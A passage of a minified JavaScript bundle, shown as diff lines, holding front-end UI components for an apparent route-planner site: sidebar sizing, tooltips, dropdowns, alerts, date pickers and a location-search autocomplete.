e.__esModule ? e : { + default: e + } + } + var m = { + sidebarActiveState: "sidebar", + sidebarNotFixedState: "sidebar__container--notfixed", + sidebarActiveBlock: ".sidebar__block--active", + sidebarNav: ".sidebar__btn-nav", + noFixedFooter: "sidebar--no-fixed-footer", + panel: ".js-panel", + panelOpenState: ".sidebar-panel--open", + panelFixedOpenState: ".sidebar-panel--fixed-open" + }; + var p = { + menu: "navigation-bar__sidebar--show-menu", + back: "navigation-bar__sidebar--show-back", + close: "navigation-bar__sidebar--show-close", + change: "navigation-bar__sidebar--show-change" + }, + v = (0, l.default)(p).map(function (e) { + return e[1] + }); + var _ = void 0, + g = void 0, + y = true; + var b = { + attributes: false, + sidebarHeight: 0, + sidebarBreakpointHeight: 820, + breakpointMobile: 992 + }; + var w = function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + M(t) + }; + var M = function e(t) { + var i = void 0; + var n = function e() { + var i = (0, f.getScreenSize)(); + if (document.body.classList.contains("routeplanner-print")) { + t.style.removeProperty("height"); + return + } + if (d.hasClass(t, "sidebar-planner") && (i == "sm" || i == "md")) { + t.style.removeProperty("height") + } else { + t.style.height = "100%" + } + if (!(i == "sm" || i == "md")) { + var n = d.getDocumentHeight(); + var r = n; + if (d.hasClass(t, "sidebar-planner")) { + if (!d.hasClass(t, "stack-active")) { + var a = document.querySelector("main"); + r = a ? a.offsetHeight : n + } else { + var s = parseInt(window.getComputedStyle(t, null).getPropertyValue("top")); + r = n - (isNaN(s) ? 0 : s) * 2 + } + } + t.style.height = r + "px" + } + }; + window.addEventListener("resize", function () { + clearTimeout(i); + i = setTimeout(function () { + n() + }, 150) + }); + setInterval(function () { + n() + }, 700); + n() + }; + var k = function e(t, i) { + if (d.hasClass(i, "checked")) { + d.removeClass(i, "checked") + } else { + d.addClass(i, "checked") + } + }; + var L = function e(t) { + var i = document.querySelector(".navigation-bar__sidebar"); + d.removeClass(i, v); + d.addClass(i, p[t]) + }; + var T = function e(t) { + if (t) { + d.addClass(_, "sidebar--open") + } else { + d.removeClass(_, "sidebar--open") + } + }; + var x = function e(t) { + if (y && t) { + y = false; + d.addClass(d.get(m.sidebarNav), "hide") + } else { + y = true; + d.removeClass(d.get(m.sidebarNav), "hide") + } + }; + var S = function e(t) { + if (!d.hasClass(_, m.noFixedFooter) && b.activeSiderbarHeight < b.sidebarHeight) { + d.addClass(_, "sidebar--footer-bottom") + } else { + d.removeClass(_, "sidebar--footer-bottom") + } + }; + var Y = function e(t) { + if (t) { + d.addClass(_, "sidebar--no-links") + } else { + d.removeClass(_, "sidebar--no-links") + } + }; + var D = function e() { + var t = d.get("." + m.sidebarActiveState); + g = !d.hasClass(t, m.sidebarNotFixedState); + return t + }; + var E = function e() { + return "." + m.sidebarActiveState + }; + var C = function e(t) { + (0, s.default)(d.get("." + m.sidebarActiveState, document, true)).forEach(function (e) { + d.removeClass(e, m.sidebarActiveState) + }); + d.addClass(t, m.sidebarActiveState) + }; + var P = function e() { + if (window.pageYOffset > b.sidebarHeight - window.innerHeight) { + d.addClass(_, "sidebar__container--fixed-bottom") + } else { + d.removeClass(_, "sidebar__container--fixed-bottom") + } + }; + var A = function e() { + var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; + _ = D(); + if (window.innerWidth >= b.breakpointMobile) { + var i = window.innerHeight; + if (_ && g) { + _.style.height = ""; + var n = d.get("" + m.panelFixedOpenState, _) || d.get("" + m.panelOpenState, _), + r = n && !t ? n.offsetHeight : 0, + a = 110; + (0, s.default)(["title", "content", "footer"]).forEach(function (e) { + var t = d.get(m.sidebarActiveBlock + " .sidebar__" + e, _); + a += t ? t.offsetHeight : 0 + }); + b.activeSiderbarHeight = a; + b.sidebarHeight = Math.max(a, r, i); + _.style.height = b.sidebarHeight + "px"; + S(b.sidebarHeight); + window.removeEventListener("scroll", P); + if (i >= b.sidebarHeight) { + d.removeClass(_, "sidebar__container--fixed-bottom"); + d.addClass(_, ["sidebar__container--fixed"]) + } else { + d.removeClass(_, ["sidebar__container--fixed"]); + window.addEventListener("scroll", P, { + passive: false + }); + P() + } + } + } else { + if (_ && g) { + _.style.height = ""; + window.removeEventListener("scroll", P); + d.removeClass(_, ["sidebar__container--fixed-bottom", "sidebar__container--fixed", "sidebar--footer-bottom"]) + } + } + }; + var O = function e(t) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + i = (0, r.default)(b, i); + var n = []; + if (typeof t === "string") { + n = (0, s.default)(document.querySelectorAll(t)) + } else if (Array.isArray(t)) { + n = t + } else { + n.push(t) + } + n.forEach(function (e) { + w(e, i) + }) + }; + t.default = O; + t.scrollFixedSidebar = A; + t.changeMenuLinks = L; + t.ToggleMobileNavigation = x; + t.toggleTitleIcon = k; + t.deleteFooterLink = Y; + t.openSidebarMobile = T; + t.getCurrentSidebarContainer = D; + t.setCurrentSidebarContainer = C; + t.getCurrentSidebarSelector = E + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = v(n); + var a = i(1); + var s = v(a); + var o = i(6); + var l = v(o); + var u = i(4); + var d = v(u); + var f = i(5); + var c = v(f); + var h = i(2); + var m = i(450); + var p = v(m); + + function v(e) { + return e && e.__esModule ? e : { + default: e + } + } + var _ = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); + n.tooltip = n.getTooltip(); + if (n.tooltip) { + n.el.addEventListener("click", n.showTooltip.bind(n)) + } + return n + }(0, l.default)(t, [{ + key: "showTooltip", + value: function e(t) { + var i = document.activeElement; + this.tooltip.show(i) + } + }, { + key: "getTooltip", + value: function e() { + var t = this.el.getAttribute("data-tooltip"); + var i = document.querySelector('[data-tooltip-id="' + t + '"]'); + if (i) { + return new p.default(i, { + trigger: this + }) + } + return null + } + }]); + return t + }(h.Component); + _.defaultSettings = {}; + t.default = _ + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = y(n); + var a = i(1); + var s = y(a); + var o = i(6); + var l = y(o); + var u = i(4); + var d = y(u); + var f = i(5); + var c = y(f); + var h = i(2); + var m = i(7); + var p = i(117); + var v = y(p); + var _ = i(163); + var g = y(_); + + function y(e) { + return e && e.__esModule ? e : { + default: e + } + } + var b = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); + n.hideOutside = n.hideOutside.bind(n); + n.hide = n.hide.bind(n); + n.showPopup = n.showPopup.bind(n); + n.handleKeyPress = n.handleKeyPress.bind(n); + n.confirmButton = e.querySelector(".confirm"); + n.popupTrigger = e.querySelector(".popup-trigger"); + n.lastFocus = document.activeElement; + return n + }(0, l.default)(t, [{ + key: "show", + value: function e(t) { + this.el.classList.add("active"); + this.lastFocus = t; + var i = this.el.querySelector(".amountpicker input"); + if (i) { + setTimeout(function () { + i.focus() + }, 200) + } + if (this.popupTrigger) { + this.popupTrigger.addEventListener("click", this.showPopup) + } + if (this.confirmButton) { + this.confirmButton.addEventListener("click", this.hide) + } + document.body.addEventListener("click", this.hideOutside); + window.addEventListener("keyup", this.handleKeyPress) + } + }, { + key: "hide", + value: function e() { + if (this.isOpen()) { + this.el.classList.remove("active"); + this.settings.trigger.el.focus() + } + if (this.popupTrigger) { + this.popupTrigger.removeEventListener("click", this.showPopup) + } + if (this.confirmButton) { + this.confirmButton.removeEventListener("click", this.hide) + } + window.removeEventListener("keyup", this.handleKeyPress) + } + }, { + key: "showPopup", + value: function e(t) { + t.preventDefault(); + var i = document.getElementById(this.popupTrigger.getAttribute("data-content")); + if (!i) { + return + } + var n = new v.default(i, { + closeLabel: this.popupTrigger.getAttribute("data-label-close"), + lastFocus: this.lastFocus + }); + n.open() + } + }, { + key: "keepFocus", + value: function e(t) { + var i = document.activeElement; + if (!i) { + i = document.body + } + if (!i.nodeName) { + i = document.body + } + var n = this.el === i || this.el.contains(i); + if (!n) { + t.preventDefault(); + this._focusTabbable() + } + return t + } + }, { + key: "_focusTabbable", + value: function e() { + var t = this.el.querySelector("input, button"); + if (t) { + t.focus() + } + } + }, { + key: "isOpen", + value: function e() { + return this.el.classList.contains("active") + } + }, { + key: "handleKeyPress", + value: function e(t) { + t = this.keepFocus(t); + if (t.key === "Escape") { + this.hide() + } + } + }, { + key: "hideOutside", + value: function e(t) { + var i = t.target; + var n = (0, m.isDescendant)(this.settings.trigger.el, i) || i == this.settings.trigger.el; + var r = (0, m.isDescendant)(this.el, i) || i == this.el; + if (!n && !r) { + document.body.removeEventListener("click", this.hideOutside); + this.hide() + } + } + }]); + return t + }(h.Component); + b.defaultSettings = {}; + t.default = b + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = _(n); + var a = i(1); + var s = _(a); + var o = i(6); + var l = _(o); + var u = i(4); + var d = _(u); + var f = i(5); + var c = _(f); + var h = i(15); + var m = i(168); + var p = _(m); + var v = i(2); + + function _(e) { + return e && e.__esModule ? e : { + default: e + } + } + var g = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e)); + n.el = e; + n.acc = null; + n.init(); + window.addEventListener("resize", function (e) { + return n.init() + }); + return n + }(0, l.default)(t, [{ + key: "init", + value: function e() { + if (!this.acc) { + this.acc = new p.default(this.el) + } + var t = (0, h.getScreenSize)(); + if (!(t == "sm" || t == "md")) { + this.acc.trigger.disabled = true; + this.acc.open() + } else { + this.acc.trigger.disabled = false; + this.acc.close() + } + } + }]); + return t + }(v.Component); + g.default_settings = { + attributes: false + }; + t.default = g + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + t.default = undefined; + var n = i(13); + var r = M(n); + var a = i(3); + var s = M(a); + var o = i(1); + var l = M(o); + var u = i(6); + var d = M(u); + var f = i(4); + var c = M(f); + var h = i(5); + var m = M(h); + var p = i(7); + var v = w(p); + var _ = i(2); + var g = i(15); + var y = i(169); + var b = M(y); + + function w(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function M(e) { + return e && e.__esModule ? e : { + default: e + } + } + var k = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); + n.trigger = n.el.querySelector(".dropdown__trigger"); + n.content = n.el.querySelector(".dropdown__list"); + n.trigger.setAttribute("aria-expanded", "false"); + if (e.hasAttribute("disabled")) { + n.trigger.setAttribute("disabled", true); + n.trigger.addEventListener("click", function (e) { + e.preventDefault() + }); + return (0, c.default)(n) + } + if (v.hasClass(n.el, "dropdown--open")) { + n.trigger.setAttribute("aria-expanded", "true") + } + n.onClick = n.onClick.bind(n); + n.close = n.close.bind(n); + n.addEvents(); + return n + }(0, d.default)(t, [{ + key: "scrollVisible", + value: function e() { + var t = document.documentElement; + var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); + var n = this.content.getBoundingClientRect(), + r = n.top, + a = n.height; + var s = this.trigger.getBoundingClientRect(), + o = s.height; + var l = r + i + a; + if (a + o >= window.innerHeight) { + var u = (0, g.getScreenSize)(); + var d = 0; + if (u == "sm" || u == "md" || u == "lg" || u == "xl") { + var f = document.querySelector(".navigation-bar").getBoundingClientRect(), + c = f.height; + d = c + } + window.scrollTo(0, i + r - o - d) + } else if (l > window.innerHeight + i) { + window.scrollTo(0, l - window.innerHeight + 20) + } + } + }, { + key: "addEvents", + value: function e() { + this.trigger.addEventListener("click", this.onClick) + } + }, { + key: "onClick", + value: function e(t) { + t.preventDefault(); + if (v.hasClass(this.el, "dropdown--open")) { + this.close() + } else { + this.open() + } + } + }, { + key: "open", + value: function e() { + var t = this; + this.trigger.setAttribute("aria-expanded", "true"); + v.addClass(this.el, "dropdown--open"); + var i = (0, r.default)(this.el.querySelectorAll(".dropdown__item--details")); + i.length && i.forEach(function (e) { + return new b.default(e) + }); + this.settings.autoclose && setTimeout(function () { + document.body.addEventListener("click", t.close) + }, 100); + setTimeout(function () { + t.scrollVisible() + }, 60) + } + }, { + key: "close", + value: function e() { + this.trigger.setAttribute("aria-expanded", "false"); + v.removeClass(this.el, "dropdown--open"); + if (this.settings.autoclose) { + document.body.removeEventListener("click", this.close) + } + } + }]); + return t + }(_.Component); + k.defaultSettings = { + attributes: true, + autoclose: false + }; + t.default = k + }, function (e, t) { + e.exports = r + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = v(n); + var a = i(1); + var s = v(a); + var o = i(6); + var l = v(o); + var u = i(4); + var d = v(u); + var f = i(5); + var c = v(f); + var h = i(7); + var m = i(2); + var p = i(15); + + function v(e) { + return e && e.__esModule ? e : { + default: e + } + } + var _ = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); + n.activeClass = "alert--open"; + n.noTriggerClass = "alert--no-trigger"; + n.triggerQS = ".alert__trigger"; + n.alertExtraQS = ".alert__extra"; + n.alertContentQS = ".alert__content"; + n.el = e; + n.trigger = e.querySelector(n.triggerQS); + n.alertExtra = e.querySelector(n.alertExtraQS); + n.alertContent = e.querySelector(n.alertContentQS); + if (n.alertExtra) { + n.alertExtra.setAttribute("tabIndex", 0) + } + n.bindEvents(); + if (n.settings.open) { + n.open() + } + return n + }(0, l.default)(t, [{ + key: "bindEvents", + value: function e() { + if (!this.el.classList.contains(this.noTriggerClass)) { + this.el.addEventListener("click", this.handleToggleClick.bind(this)) + } + } + }, { + key: "handleToggleClick", + value: function e(t) { + if (this.el.classList.contains(this.activeClass)) { + this.close() + } else { + this.open() + } + } + }, { + key: "open", + value: function e() { + var t = this; + this.el.classList.add(this.activeClass); + if (this.trigger) { + this.trigger.setAttribute("aria-expanded", "true") + } + if (this.alertExtra) { + this.alertExtra.focus() + } + setTimeout(function () { + t.scrollVisible() + }, 60) + } + }, { + key: "scrollVisible", + value: function e() { + var t = document.documentElement; + var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); + var n = this.alertContent.getBoundingClientRect(), + r = n.top, + a = n.height; + var s = this.trigger.getBoundingClientRect(), + o = s.height; + var l = r + i + a; + if (a + o >= window.innerHeight) { + var u = (0, p.getScreenSize)(); + var d = 0; + if (u == "sm" || u == "md" || u == "lg" || u == "xl") { + var f = document.querySelector(".navigation-bar").getBoundingClientRect(), + c = f.height; + d = c + } + window.scrollTo(0, i + r - o - d) + } else if (l > window.innerHeight + i) { + window.scrollTo(0, l - window.innerHeight + 20) + } + } + }, { + key: "close", + value: function e() { + this.el.classList.remove(this.activeClass); + if (this.trigger) { + this.trigger.setAttribute("aria-expanded", "false") + } + } + }]); + return t + }(m.Component); + _.default_settings = { + attributes: true, + open: false + }; + t.default = _ + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = y(n); + var a = i(1); + var s = y(a); + var o = i(6); + var l = y(o); + var u = i(4); + var d = y(u); + var f = i(5); + var c = y(f); + var h = i(7); + var m = g(h); + var p = i(160); + var v = y(p); + var _ = i(2); + + function g(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function y(e) { + return e && e.__esModule ? e : { + default: e + } + } + var b = function (e) { + (0, c.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); + n.selectors = { + typeRadio: ".rad-group .rad", + startDatePicker: ".route-type-input__dates .datepicker:nth-child(1)", + endDatePicker: ".route-type-input__dates .datepicker:nth-child(2)", + dateSingleInput: '.rad__input[data-route-type="single"]', + dateRoundtripInput: '.rad__input[data-route-type="roundtrip"]' + }; + n.state = { + isRoundtrip: false, + startDate: null, + endDate: null, + isValid: true + }; + n.el = e; + n.startDatePicker = new v.default(n.el.querySelector(n.selectors.startDatePicker), { + onSelect: n.onStartSelect.bind(n) + }); + n.endDatePicker = new v.default(n.el.querySelector(n.selectors.endDatePicker), { + onSelect: n.onEndSelect.bind(n) + }); + m.removeClass(n.el, "is-roundtrip"); + if (n.el.querySelector(n.selectors.dateSingleInput).checked) { + n.state.isRoundtrip = false + } + if (n.el.querySelector(n.selectors.dateRoundtripInput).checked) { + n.state.isRoundtrip = true; + n.toggleDateFields() + } + m.on(n.el, "change", n.selectors.typeRadio, n.onChange.bind(n)); + return n + }(0, l.default)(t, [{ + key: "onStartSelect", + value: function e(t) { + this.state.startDate = t; + if (this.state.isValid) { + this.dispatchReady() + } + } + }, { + key: "onEndSelect", + value: function e(t) { + this.state.endDate = t; + if (this.state.isValid) { + this.dispatchReady() + } + } + }, { + key: "onChange", + value: function e(t) { + this.state.isRoundtrip = t.target.getAttribute("data-route-type") === "roundtrip"; + this.toggleDateFields(); + if (this.state.isValid) { + this.dispatchReady() + } + } + }, { + key: "dispatchReady", + value: function e() { + var t = new CustomEvent("ready", { + detail: this.state + }); + this.settings.onReady(t); + this.el.dispatchEvent(t) + } + }, { + key: "toggleDateFields", + value: function e() { + if (this.state.isRoundtrip) { + m.addClass(this.el, "is-roundtrip") + } else { + m.removeClass(this.el, "is-roundtrip") + } + } + }]); + return t + }(_.Component); + b.default_settings = { + attributes: false, + onReady: function e() {} + }; + t.default = b + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(3); + var r = _(n); + var a = i(1); + var s = _(a); + var o = i(4); + var l = _(o); + var u = i(5); + var d = _(u); + var f = i(7); + var c = v(f); + var h = i(155); + var m = _(h); + var p = i(2); + + function v(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function _(e) { + return e && e.__esModule ? e : { + default: e + } + } + var g = function (e) { + (0, d.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, s.default)(this, t); + var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); + n.selectors = { + switcher: ".directions__input__switch", + from: ".directions__input__from select", + to: ".directions__input__to select" + }; + c.addClass(n.el, "directions__input__" + n.settings.style); + var a = { + style: "underlined " + n.settings.style, + name: "some_weird_name", + retainName: true + }; + n.toSelect = new m.default(c.get(n.selectors.to, n.el), a); + n.toSelect.el.addEventListener("change", function (e) { + e.preventDefault(); + var t = new CustomEvent("change", { + detail: { + type: "to", + value: n.toSelect.getValue(), + label: n.toSelect.getLabel() + } + }); + n.el.dispatchEvent(t); + n.settings.onChange(t) + }); + n.fromSelect = new m.default(c.get(n.selectors.from, n.el), a); + n.fromSelect.el.addEventListener("change", function (e) { + e.preventDefault(); + var t = new CustomEvent("change", { + detail: { + type: "from", + value: n.fromSelect.getValue(), + label: n.fromSelect.getLabel() + } + }); + n.el.dispatchEvent(t); + n.settings.onChange(t) + }); + if (n.settings.switch) { + c.on(n.el, "click", n.selectors.switcher, function (e) { + var t = { + value: n.fromSelect.getValue(), + label: n.fromSelect.getLabel(), + icon: n.fromSelect.getIcon() + }; + var i = { + value: n.toSelect.getValue(), + label: n.toSelect.getLabel(), + icon: n.toSelect.getIcon() + }; + n.fromSelect.setSelected(i); + n.toSelect.setSelected(t); + n.fromSelect.triggerChange(); + n.toSelect.triggerChange() + }) + } + return n + } + return t + }(p.Component); + g.default_settings = { + attributes: true, + onChange: function e() {}, + withFavorite: false, + switch: true, + style: "normal" + }; + t.default = g + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(114); + var r = w(n); + var a = i(3); + var s = w(a); + var o = i(1); + var l = w(o); + var u = i(6); + var d = w(u); + var f = i(4); + var c = w(f); + var h = i(5); + var m = w(h); + var p = i(7); + var v = b(p); + var _ = i(458); + var g = w(_); + var y = i(2); + + function b(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function w(e) { + return e && e.__esModule ? e : { + default: e + } + } + var M = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); + n.state = { + switchDisabled: false + }; + n.switcher = n.el.querySelector(".location-switch"); + var a = n.el.querySelectorAll(".location-search"); + var o = a[0]; + n.fromSelect = new g.default(o, { + ajax: o.getAttribute("data-ajax", ""), + previoussearches: o.getAttribute("data-previoussearches", "[]") + }); + n.fromSelect.el.addEventListener("focus", function (e) { + e.preventDefault(); + var t = new CustomEvent("focus", { + detail: (0, r.default)({}, e.detail, { + type: "from" + }) + }); + n.el.dispatchEvent(t) + }); + n.fromSelect.el.addEventListener("change", function (e) { + e.preventDefault(); + n.decideSwitcher(); + var t = new CustomEvent("change", { + detail: (0, r.default)({}, e.detail, { + type: "from" + }) + }); + n.el.dispatchEvent(t); + n.settings.onChange(t) + }); + n.fromSelect.el.addEventListener("submit", function (e) { + e.preventDefault(); + var t = new CustomEvent("submit", { + detail: (0, r.default)({}, e.detail, { + type: "from" + }) + }); + n.el.dispatchEvent(t); + n.toSelect.focus() + }); + var u = a[1]; + n.toSelect = new g.default(u, { + ajax: u.getAttribute("data-ajax", ""), + previoussearches: u.getAttribute("data-previoussearches", "[]") + }); + n.toSelect.el.addEventListener("focus", function (e) { + e.preventDefault(); + var t = new CustomEvent("focus", { + detail: (0, r.default)({}, e.detail, { + type: "to" + }) + }); + n.el.dispatchEvent(t) + }); + n.toSelect.el.addEventListener("change", function (e) { + e.preventDefault(); + n.decideSwitcher(); + var t = new CustomEvent("change", { + detail: (0, r.default)({}, e.detail, { + type: "to" + }) + }); + n.el.dispatchEvent(t); + n.settings.onChange(t) + }); + n.toSelect.el.addEventListener("submit", function (e) { + var t = new CustomEvent("submitTo", { + detail: (0, r.default)({}, e.detail, { + type: "to" + }) + }); + n.el.dispatchEvent(t); + n.settings.onSubmitTo(t) + }); + n.switcher && n.switcher.addEventListener("click", function (e) { + if (n.switcherDisabled()) { + return + } + var t = n.fromSelect.getCurrentItem(); + var i = n.toSelect.getCurrentItem(); + n.fromSelect.setSelected(i); + n.toSelect.setSelected(t) + }); + n.disableSwitcher(); + n.decideSwitcher(); + return n + }(0, d.default)(t, [{ + key: "disableSwitcher", + value: function e(t) { + if (t) { + this.state.switchDisabled = true + } + this.switcher && this.switcher.setAttribute("disabled", "disabled") + } + }, { + key: "enableSwitcher", + value: function e() { + this.state.switchDisabled = false; + this.decideSwitcher() + } + }, { + key: "_enableSwitcher", + value: function e() { + this.switcher && this.switcher.removeAttribute("disabled") + } + }, { + key: "switcherDisabled", + value: function e() { + this.switcher && this.switcher.getAttribute("disabled") !== null + } + }, { + key: "decideSwitcher", + value: function e() { + if (this.state.switchDisabled) { + return + } + this._enableSwitcher(); + var t = this.fromSelect.getCurrentItem(); + var i = this.toSelect.getCurrentItem(); + if (t == null && i == null) { + this.disableSwitcher() + } + } + }]); + return t + }(y.Component); + M.default_settings = { + attributes: true, + onChange: function e() {}, + onSubmitTo: function e() {} + }; + t.default = M + }, function (e, t, i) { + "use strict"; + Object.defineProperty(t, "__esModule", { + value: true + }); + var n = i(459); + var r = b(n); + var a = i(3); + var s = b(a); + var o = i(1); + var l = b(o); + var u = i(6); + var d = b(u); + var f = i(4); + var c = b(f); + var h = i(5); + var m = b(h); + var p = i(2); + var v = i(7); + var _ = y(v); + var g = i(15); + + function y(e) { + if (e && e.__esModule) { + return e + } else { + var t = {}; + if (e != null) { + for (var i in e) { + if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] + } + } + t.default = e; + return t + } + } + + function b(e) { + return e && e.__esModule ? e : { + default: e + } + } + var w = function (e) { + (0, m.default)(t, e); + + function t(e) { + var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + (0, l.default)(this, t); + var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.default_settings, i)); + n.baseClass = "location-search"; + n.optionEls = []; + n.options = []; + n.isOpen = false; + n.currentItem = null; + n.currentQuery = ""; + n.loadingDelay = null; + n.settings.searchtimeout = parseInt(n.settings.searchtimeout); + if (isNaN(n.settings.searchtimeout)) { + n.settings.searchtimeout = t.default_settings.searchtimeout + } + n.searchDebounced = n.debounced(n.settings.searchtimeout, n.search.bind(n)); + n.el = e; + n.input = e.querySelector("." + n.baseClass + "-input"); + n.hiddenInput = e.querySelector("[type=hidden]"); + n.ariaHelp = e.querySelector("." + n.baseClass + "-help"); + n.noResults = e.querySelector("." + n.baseClass + "-noresults"); + n.trigger = n.el.querySelector(".location-search-input-container"); + n.content = n.el.querySelector(".location-search-dropdown"); + n.origId = n.input.getAttribute("id"); + n.newId = n.origId + "_orig"; + n.handleClose = n.handleClose.bind(n); + n.handleOptionClick = n.handleOptionClick.bind(n); + n.handleOptionFavorite = n.handleOptionFavorite.bind(n); + n.input.addEventListener("keydown", n.handleInputKeyDown.bind(n)); + n.input.addEventListener("input", n.handleInputChange.bind(n)); + n.input.addEventListener("focus", n.handleInputFocus.bind(n)); + n.buildListbox(); + n.previousSearchesLabel = n.el.querySelector("." + n.baseClass + "-history"); + var r = n.settings.previoussearches; + if (r.length > 0 && (typeof r === "string" || r instanceof String)) { + n.settings.previoussearches = JSON.parse(r) + } + n.renderPreviousSearches(); + var a = n.hiddenInput.getAttribute("data-prop-json"); + var o = n.hiddenInput.value; + if (a && a.length && o && o.length) { + try { + n.setCurrentItem(JSON.parse(a)) + } catch (e) {} + } + return n + }(0, d.default)(t, [{ + key: "scrollVisible", + value: function e() { + var t = document.documentElement; + var i = (window.pageYOffset || t.scrollTop) - (t.clientTop || 0); + var n = this.content.getBoundingClientRect(), + r = n.top, + a = n.height; + var s = this.trigger.getBoundingClientRect(), + o = s.height; + var l = r + i + a; + var u = (0, g.getScreenSize)(); + if (a + o >= window.innerHeight) { + var d = 0; + if (u == "sm" || u == "md" || u == "lg" || u == "xl") { + var f = document.querySelector(".navigation-bar").getBoundingClientRect(), + c = f.height; + d = c + } + window.scrollTo(0, i + r - o - d) + } else if (l > window.innerHeight + i && (u == "md" || u == "sm")) { + window.scrollTo(0, r + window.scrollY - 80 - o) + } else if (l > window.innerHeight + i) { + window.scrollTo(0, l - window.innerHeight) + } + } + }, { + key: "buildOption", + value: function e(t, i) { + var n = t.text || ""; + var r = this.currentQuery; + if (r && n) { + var a = new RegExp(_.regexcape(r), "i"); + var s = n.search(a); + if (s > -1) { + n = n.substring(0, s) + "" + n.substring(s, s + r.length) + "" + n.substring(s + r.length, n.length) + } + } + var o = this.baseClass + "-" + this.origId + "-" + i; + var l = document.createElement("LI"); + l.setAttribute("id", o); + l.setAttribute("tabindex", -1); + l.setAttribute("role", "option"); + l.setAttribute("data-item-index", i); + l.classList.add(this.baseClass + "-option"); + var u = "icon-" + t.icon; + var d = '\n \n \n \n \n \n '; + var f = '\n ' + n + "\n "; + var c = ""; + if (this.settings.withfavorites) { + var h = Math.random() > .5; + var m = h ? "icon-star" : "icon-star-outline"; + var p = h ? "is-favorite" : ""; + c = '\n \n ' + } + var v = d + f + c; + l.innerHTML = v; + l.addEventListener("click", this.handleOptionClick); + l.querySelector("." + this.baseClass + "-option-favorite") && l.querySelector("." + this.baseClass + "-option-favorite").addEventListener("click", this.handleOptionFavorite); + return l + } + }, { + key: "buildListbox", + value: function e() { + this.listbox = document.createElement("UL"); + this.listbox.classList.add(this.baseClass + "-list"); + this.listbox.setAttribute("role", "listbox"); + this.listbox.addEventListener("keydown", this.handleListboxKeyDown.bind(this)); + this.el.querySelector(".location-search-dropdown").appendChild(this.listbox) + } + }, { + key: "renderListbox", + value: function e() { + var t = this; + if (this.listbox) { + this.destroyListbox() + } + this.options.map(function (e, i) { + return t.buildOption(e, i) + }).forEach(function (e) { + t.optionEls.push(e); + t.listbox.appendChild(e) + }); + if (this.optionEls.length) { + this.el.querySelector(".location-search-dropdown").classList.add("location-search-dropdown-filled") + } + setTimeout(function () { + t.scrollVisible() + }, 100) + } + }, { + key: "destroyListbox", + value: function e() { + var t = this; + if (!this.listbox) { + return + } + this.optionEls.forEach(function (e) { + e.removeEventListener("click", t.handleOption); + e.remove() + }); + this.el.querySelector(".location-search-dropdown").classList.remove("location-search-dropdown-filled") + } + }, { + key: "handleInputKeyDown", + value: function e(t) { + var i = t.keyCode; + if (i === 40) { + t.preventDefault(); + this.listbox.setAttribute("tabindex", "0"); + var n = 